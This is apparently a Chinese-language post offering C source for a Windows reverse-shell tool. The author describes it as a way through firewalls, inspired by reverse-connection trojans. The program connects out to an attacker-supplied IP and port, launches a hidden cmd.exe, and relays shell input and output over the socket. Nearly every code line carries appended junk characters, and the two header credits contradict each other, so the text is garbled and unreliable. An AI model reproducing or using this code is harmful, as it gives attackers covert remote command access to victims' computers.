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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $zxCv7  
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/* ============================== .\*\bvyCw  
Rebound port in Windows NT <t]i' D(K  
By wind,2006/7 7&m*: J  
===============================*/ >UR-37g{p  
#include o8Q(,P  
#include !7^fji  
i"sVk8+o!  
#pragma comment(lib,"wsock32.lib") C.pNDpx-  
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void OutputShell(); \*d@_oQ$  
SOCKET sClient; }JrM!'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BD,~M*%z  
{7B$%G'  
void main(int argc,char **argv) OO53U=NU  
{ gt{ei)2b  
WSADATA stWsaData; TZ-n)rC)v  
int nRet; B\Rq0N]' M  
SOCKADDR_IN stSaiClient,stSaiServer; ]'2p"A0U  
.+{nfmc,c  
if(argc != 3) v2rXuo  
{ <f{m=Dc  
printf("Useage:\n\rRebound DestIP DestPort\n"); w;r -TLf  
return; ?ew^%1!W.  
} f,`FbT  
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WSAStartup(MAKEWORD(2,2),&stWsaData); B)ynF?"  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4lvo9R  
FW[<;$  
stSaiClient.sin_family = AF_INET; 'fawpU|h  
stSaiClient.sin_port = htons(0); Es[?yft2Q<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *R1x^t+)  
7d'4"c;*;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X3X~`~bAD  
{ V,|9$A;  
printf("Bind Socket Failed!\n"); 9I30ULm  
return; kc/h]B  
} .R biF  
&<.Z4GxS  
stSaiServer.sin_family = AF_INET; fs>0{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lKH"PH7*_w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s( 2=E|  
|~v($c  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j!:U*}f  
{ #@lr$^M  
printf("Connect Error!"); M}/%t1^g:  
return; cGOE$nL  
} <Hm:#<\  
OutputShell(); ?CL1^N%  
} Jg;Hg[  
i!YZF$|  
void OutputShell() +zz9u?2C`  
{ R0*DfJS:Z  
char szBuff[1024]; uTB; Bva  
SECURITY_ATTRIBUTES stSecurityAttributes; @RbAC*Y]g  
OSVERSIONINFO stOsversionInfo; &v3r#$Hj[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 988aF/c  
STARTUPINFO stStartupInfo; `d3S0N6@  
char *szShell; ((;9%F:/$  
PROCESS_INFORMATION stProcessInformation; --",}%-  
unsigned long lBytesRead; CcAsJX~_  
 v+G}n\F  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]WyV~Dzz<  
b^hCm`2w*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .F)--%  
stSecurityAttributes.lpSecurityDescriptor = 0; ?vf\_R'M  
stSecurityAttributes.bInheritHandle = TRUE; as~.XWa  
8*6J\FE<p  
$`_(%tl  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PX2Ejrwj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7b@EvW6X}  
!i}G>*XH,  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t6-c{ZX>A  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |W*f 6F3  
stStartupInfo.wShowWindow = SW_HIDE; !!Mp;h'}-  
stStartupInfo.hStdInput = hReadPipe; #8nF8J< 4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9OT2yC T  
glk I9~  
GetVersionEx(&stOsversionInfo); EB@!?=0x  
!dVcnK1  
switch(stOsversionInfo.dwPlatformId) /1n}IRuw  
{ #J^p,6  
case 1: ;M4N=G Wd4  
szShell = "command.com"; 0FTiTrTn  
break; s/P\w"/fN  
default: 0SvPyf%AC  
szShell = "cmd.exe"; ?:n{GK  
break; tGM)"u-  
} Vy-S9=  
P]dDTh~e~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uz'beE  
#)cRD#0  
send(sClient,szMsg,77,0); Im6ymaf9  
while(1) HT1bsY 0t  
{ U@Aq@d+n  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +zL=UEBN  
if(lBytesRead) Z][?'^`^!  
{ du'$JtZo  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vc^PXjX  
send(sClient,szBuff,lBytesRead,0); 9Cf^Q3)5o  
} kQVl8KS  
else ;F~GKn;}  
{ <!DOCvd  
lBytesRead=recv(sClient,szBuff,1024,0); 8'g/WZY~~  
if(lBytesRead<=0) break; nW|[poQK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); m\@Q/_ v  
} ;]n U->  
} V!FzVl=G  
]p0m6}B  
return; i1aS2gFi_  
}
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